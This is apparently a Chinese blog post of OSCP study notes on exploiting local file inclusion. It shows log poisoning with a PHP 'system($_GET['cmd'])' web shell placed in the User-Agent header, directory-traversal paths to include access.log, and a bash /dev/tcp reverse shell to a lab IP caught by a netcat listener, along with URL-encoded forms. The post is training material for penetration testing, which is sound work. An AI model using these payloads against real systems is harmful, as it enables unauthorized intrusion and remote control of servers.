4-3〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸本地文件包含漏洞-A

郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。

💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉
Whoami!-CSDN博客🚀


𖤐 现在,我们渐入佳境了,保持耐心,继续前行

𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!


→ 信息收集

→ 漏洞检测

→ 初始立足点**▸常见WEB应用攻击▸-----我们在这儿~** 🔥🔥🔥

权限提升

→ 横向移动

→ 报告/分析

→ 教训/修复

目录

[1 常见WEB应用攻击](#1 常见WEB应用攻击)

[1.2 文件包含漏洞概述](#1.2 文件包含漏洞概述)

[1.2.1 文件包含漏洞 vs 目录遍历漏洞的区别](#1.2.1 文件包含漏洞 vs 目录遍历漏洞的区别)

[1.2.2 本地文件包含漏洞(LFI)](#1.2.2 本地文件包含漏洞(LFI))

[1.2.2.1 攻击思路流程](#1.2.2.1 攻击思路流程)

[1.2.2.2 识别本地文件包含漏洞](#1.2.2.2 识别本地文件包含漏洞)

[1.2.2.3 把可执行代码写入到目标文件(access.log)](#1.2.2.3 把可执行代码写入到目标文件(access.log))

[1.2.2.4 执行写入文件的代码](#1.2.2.4 执行写入文件的代码)

1.配置攻击参数

2.执行ps命令验证攻击

3.执行其他命令(需对命令进行编码)

[1.2.2.5 获取反向Shell-登录到服务器](#1.2.2.5 获取反向Shell-登录到服务器)

1.构建反向Shell命令

2.修改反向shell命令

[3. 攻击者事先准备:打开4444端口监听](#3. 攻击者事先准备:打开4444端口监听)

4.在Burp重放并完成反向shell

[💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬](#💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬)


1 常见WEB应用攻击

Web开发是当前IT领域需求最高 的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 📁 目录遍历 - 通过操纵++文件路径++访问未授权资源

  • 📄 文件包含漏洞 - 包含++恶意文件执行代码++ ---(本文)

  • ⬆️ 文件上传攻击漏洞 - ++上传恶意文件++获取系统访问权

  • ⚡ 命令注入 - 在输入中++注入系统命令++执行

1.2 文件包含漏洞概述

1.2.1 文件包含漏洞 vs 目录遍历漏洞的区别

特征 目录遍历漏洞 文件包含漏洞
主要功能 读取文件内容 包含并执行文件
处理方式 显示源代码 执行代码
影响范围 仅限于文件读取 可导致代码执行

核心区别

  • 目录遍历漏洞:获取web服务器站点根目录之外的文件内容,仅允许读取文件内容

  • 文件包含漏洞:允许在应用程序的运行代码中"包含"文件,可执行本地或远程文件

💡 实际案例对比

html 复制代码
# 目录遍历漏洞示例
访问: http://target.com/../../admin.php
结果: 显示admin.php的源代码

# 文件包含漏洞示例  
访问: http://target.com/?page=../../admin.php
结果: 执行admin.php中的PHP代码

1.2.2 本地文件包含漏洞(LFI)

1.2.2.1 攻击思路流程

🎯 攻击目标:通过LFI漏洞获得远程代码执行(RCE)

攻击思路流程图

html 复制代码
[发现LFI漏洞] → [识别可控日志点] → [注入恶意代码] → [包含日志文件] → [获得RCE]

1.2.2.2 识别本地文件包含漏洞

寻找可控点思路

  • 利用目录遍历漏洞, 检查Apache日志文件 /var/log/apache2/access.log

  • 识别log日志文件中,哪些输出是用户可控制的信息字段

  • 如果找到,那么就可以再次编写可执行代码。

bash 复制代码
kali@kali:~$ curl 
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/a
pache2/access.log
...
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/index.php?page=admin.php 
HTTP/1.1" 200 2218 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 
Firefox/91.0"
...

**【分析】**日志条目中包含user-agent信息。发现如下:

  • User-Agent字段是用户的HTTP请求信息

  • 该信息被记录到access.log文件中

  • **{脑洞大开}:**在发送请求之前,可以在Burp中修改user-agent信息并指定将写入access.log文件的内容

  • 最后,通过LFI可以包含并执行日志中的内容

复制代码
[攻击者] 
    ↓ 修改User-Agent为PHP代码
[Burp Suite代理] 
    ↓ 发送恶意请求
[目标服务器] 
    ↓ 记录到access.log
[利用LFI] 
    ↓ 包含access.log文件
[代码执行] 
    ↓ 获得RCE权限

1.2.2.3 把可执行代码写入到目标文件(access.log)
  • 启动Burp,同时打开浏览器并访问 "Mountain Desserts" 网页;
  • 在该网页底部找到并点击 "Admin" 链接;
  • 切换回 Burp,打开 "HTTP history"选项卡,从中筛选出点击 "Admin" 链接时产生的相关网络请求;
  • 将筛选出的目标请求,发送到 Burp的 "Repeater";

接下来,

  • 修改User Agent,将以下列表中的PHP代码片段包含其中。
  • 修改后,点击send。PHP代码片段被写入Apache的access.log文件中。

<?php echo system($_GET['cmd']); ?>

组成部分 说明
<?php... ?> PHP 代码块标签,用于标识 PHP 代码的开始和结束范围
$_GET['cmd'] 获取 URL 中cmd参数的值(例如http://example.com/script.php?cmd=ls中获取ls
system() PHP 内置函数,用于执行外部系统命令,并返回命令输出结果
echo system()函数执行命令后的结果输出到浏览器,供用户查看
整体功能 接收用户通过 URL 参数传入的命令,执行该系统命令并将结果输出到网页

1.2.2.4 执行写入文件的代码

关键前提 :必须事先发现LFI漏洞,然后通过包含日志文件来执行PHP代码片段。

1.配置攻击参数
参数 作用 示例值
page 指定日志文件相对路径 ../../../var/log/apache2/access.log
cmd 传递要执行的命令 ps,只是验证命令是否起作用

参数格式 :使用**和号(&)**作为分隔符

html 复制代码
/meteor/index.php?page=../../../var/log/apache2/access.log&cmd=ps
2.执行ps命令验证攻击

验证流程

  • 发送简单命令 (如ps)验证日志中毒是否生效

  • **(切记!)**再次发http请求时候,要清理User-Agent参数。因为上一步已经修改过User-Agent参数,避免重复污染日志

  • 查看响应输出 :最终的Burp请求显示在下图的请求部分。发送请求后,向下滚动并在响应部分中查看命令ps成功输出结果,说明命令被执行了 !从而,利用了 LFI漏洞。

3.执行其他命令(需对命令进行编码)

遇到的问题:

  • 直接使用ls -la命令会触发错误

  • 根本原因 :命令中的空格字符被系统错误解析

各种编码技术解决:

方法 实现方式 优点 缺点
URL编码 空格→%20 简单直接 可能需要多次尝试
IFS分隔符 使用${IFS}代替空格 绕过简单过滤 需要系统支持
Tab编码 空格→%09 较少被检测 兼容性问题

✅ 推荐方案:URL编码

html 复制代码
# 原始命令(会报错)
ls -la

# URL编码后(成功执行)
ls%20-la

我们的命令执行成功,输出ls -la的结果:

🔒 防护应对措施

  • 对用户输入进行严格过滤和编码验证

  • 限制日志文件的访问权限

  • 监控异常的User-Agent模式


1.2.2.5 获取反向Shell-登录到服务器

🎯 攻击目标升级:从命令执行到反向Shell

1.构建反向Shell命令
bash 复制代码
bash -i >& /dev/tcp/192.168.119.3/4444 0>&1

🔧 命令分解说明

命令部分 功能说明 技术细节
bash -i 启动交互式Bash shell -i参数确保shell提供交互式输入输出
>& /dev/tcp/192.168.119.3/4444 建立TCP连接重定向 >& :是一种重定向操作符,将 标准输出(stdout)和标准错误(stderr) 重定向到攻击者IP:端口。 相当于在Linux系统上打开一个到远程主机 的网络连接。
0>&1 输入流重定向 0 代表标准输入(stdin),1 代表标准输出(stdout)。 0>&1 表示将标准输入重定向到标准输出,也就是将 输入流通过TCP连接传输到目标主机(192.168.119.3)。 也就是说,它会将输入(stdin)流发送到先前设置的TCP连接,并且通过这个连接接收输出。

✅ 整体实现:

  • 功能本质:使被攻击的 Web 服务器启动 Bash shell,并将其输入、输出及错误流全部重定向到攻击者机器(192.168.119.3)的 4444 端口。

  • 攻击流程

    • 攻击者预先在自身机器上通过nc -nlvp 4444等工具监听 4444 端口
    • 目标服务器执行该命令后,会主动建立与攻击者机器 4444 端口的 TCP 连接
    • 攻击者通过此连接获得目标服务器的远程 shell,实现交互控制
  • 最终效果:攻击者可远程操控被攻击主机的 shell,执行各类系统命令。


2.修改反向shell命令

①强制通过bash执行

修改缘由: 由于我们通过PHP的system()函数 执行命令,我们意识到命令默认可能是通过Bourne Shell(也称为sh ),而不是Bash执行的,因此需要对以下命令进行改造,确保反向shell强制通过Bash执行。

bash 复制代码
改造前:bash -i >& /dev/tcp/192.168.119.3/4444 0>&1

我们可以通过将反向shell单行命令作为参数提供给bash -c来实现这一点,bash -c会使用Bash执行命令。

bash 复制代码
改造后:bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"

详细说明: 在PHP中system()函数 执行的命令通常由操作系统的默认shell来处理。具体的:

①在类Unix系统(如Linux和macOS)中,system() 默认会使用系统的默认shell,通常是**/bin/sh** 。这意味着执行的命令会通过sh 来处理。

②在Windows 系统中,system()默认使用cmd.exe 来执行命令。

所以,在Linux系统上,system()会通过sh执行命令,如果系统配置了其他默认shell(比如 bash),那么它也有可能会使用这个shell。但在大多数情况下,/bin/sh 会被用来执行命令。
示例:

这条命令会被sh解析和执行,并且输出Hello, world!。

如果你希望显式地使用某个shell(例如 bash),可以在命令中指定:

这将强制PHP使用bash来执行命令。

②URL编码

再次使用URL编码对特殊字符进行编码后,然后将要放入Burp中重放。

bash 复制代码
URL编码后:
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22

3. 攻击者事先准备:打开4444端口监听

在发送请求之前,在攻击者的Kali的端口4444上启动一个 Netcat监听器。 它将接收一会来自目标 系统的反向shell。

bash 复制代码
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...

# 在攻击机器上启动监听
# -n:表示不进行DNS查询,即使用数字形式的IP地址,而不是尝试解析域名
# -v:表示 verbose(详细输出)
# -l:表示监听模式,等待其他计算机或设备发起连接请求
# -p:表示监听的是4444端口

4.在Burp重放并完成反向shell

下图显示将上述命令添加到请求中的正确方法(cmd的参数)。

再次提醒:切记~删除user-agent行。

在Burp中按下发送按钮发送请求后,我们成功在Netcat监听器中接收到了反向shell。


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

相关推荐
WayneJoon.H10 小时前
CTFSHOW 中期测评(二)web502 - web516
安全·网络安全·php·web·ctf
lubiii_9 天前
网络安全渗透测试第一步信息收集
安全·web安全·网络安全
Suckerbin10 天前
TBBT: FunWithFlags靶场渗透
笔记·安全·web安全·网络安全
jieyu111910 天前
反序列化漏洞详解
网络安全·漏洞原理
Codingwiz_Joy10 天前
Day43 PHP(mysql不同注入类型、mysql不同注入点、mysql传输不同数据类型 )
网络安全·php·安全性测试
独行soc10 天前
2025年渗透测试面试题总结-67(题目+回答)
网络·python·安全·web安全·网络安全·adb·渗透测试
emma羊羊10 天前
【SQL注入】延时盲注
数据库·sql·网络安全
儒道易行11 天前
【攻防实战】记一次攻防实战全流程
网络安全
王火火(DDoS CC防护)11 天前
网站漏洞扫描要怎么处理?
web安全·网络安全